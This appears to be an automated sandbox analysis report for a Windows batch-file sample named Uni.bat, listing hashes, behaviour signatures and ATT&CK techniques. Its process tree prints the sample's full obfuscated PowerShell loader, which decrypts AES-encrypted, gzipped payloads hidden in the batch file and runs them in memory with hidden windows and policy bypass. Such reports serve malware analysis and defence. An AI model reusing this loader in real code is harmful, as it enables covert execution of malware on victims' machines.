c5162d43e1479ede6cff08c3aeadb08187475e85315128cdac2d32ffe681c813

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13/10/2023, 02:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Uni.bat
Size

14.6MB
MD5

5e162353f6d4f0d3316785c49590cf47
SHA1

a14a7c2639715020df5a2d84ad21236be8674cb5
SHA256

c5162d43e1479ede6cff08c3aeadb08187475e85315128cdac2d32ffe681c813
SHA512

323f840bf950b4f7a7feec7cd73979018ac2cdf2554e7855a22aca9ef1471eec282d6b56c66136228c8969ee3d0ea195abd587efb3b2746fd35adba1bd0bd5c0
SSDEEP

49152:9aok+ydtT1GNd9t6Qeuu+ZgswnNebCyy14BWxpW25Evp/flH1v4r0KKj5dci0RGs:a

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1136	Uni.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2988	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1136	Uni.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1136	Uni.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 1136	2988	cmd.exe	29
PID 2988 wrote to memory of 1136	2988	cmd.exe	29
PID 2988 wrote to memory of 1136	2988	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
  "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function WuBcS($EFabz){ $bRzHB=[System.Security.Cryptography.Aes]::Create(); $bRzHB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $bRzHB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $bRzHB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AVCsDfD9ktxxy7ap9R1lOS4/eLdwd4Kk6x4IJe7TpyY='); $bRzHB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cRWQ+MYrSp19UY3Rby7uBA=='); $IDZdQ=$bRzHB.CreateDecryptor(); $return_var=$IDZdQ.TransformFinalBlock($EFabz, 0, $EFabz.Length); $IDZdQ.Dispose(); $bRzHB.Dispose(); $return_var;}function cNbkK($EFabz){ $KexDo=New-Object System.IO.MemoryStream(,$EFabz); $TmKio=New-Object System.IO.MemoryStream; $eYdxw=New-Object System.IO.Compression.GZipStream($KexDo, [IO.Compression.CompressionMode]::Decompress); $eYdxw.CopyTo($TmKio); $eYdxw.Dispose(); $KexDo.Dispose(); $TmKio.Dispose(); $TmKio.ToArray();}function JmoQC($EFabz,$CWcpU){ $RZrLm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$EFabz); $nyWoi=$RZrLm.EntryPoint; $nyWoi.Invoke($null, $CWcpU);}$veHDh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($PmkNr in $veHDh) { if ($PmkNr.StartsWith('SEROXEN')) { $fVggE=$PmkNr.Substring(7); break; }}$lhiuJ=[string[]]$fVggE.Split('\');$omIJM=cNbkK (WuBcS ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lhiuJ[0])));$iWNDL=cNbkK (WuBcS ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lhiuJ[1])));JmoQC $iWNDL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));JmoQC $omIJM (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1136-5-0x000000001B040000-0x000000001B322000-memory.dmp

Filesize
2.9MB

Download
memory/1136-6-0x00000000002F0000-0x00000000002F8000-memory.dmp

Filesize
32KB

Download
memory/1136-7-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/1136-8-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download
memory/1136-9-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/1136-10-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/1136-11-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/1136-12-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

Filesize
9.6MB

Download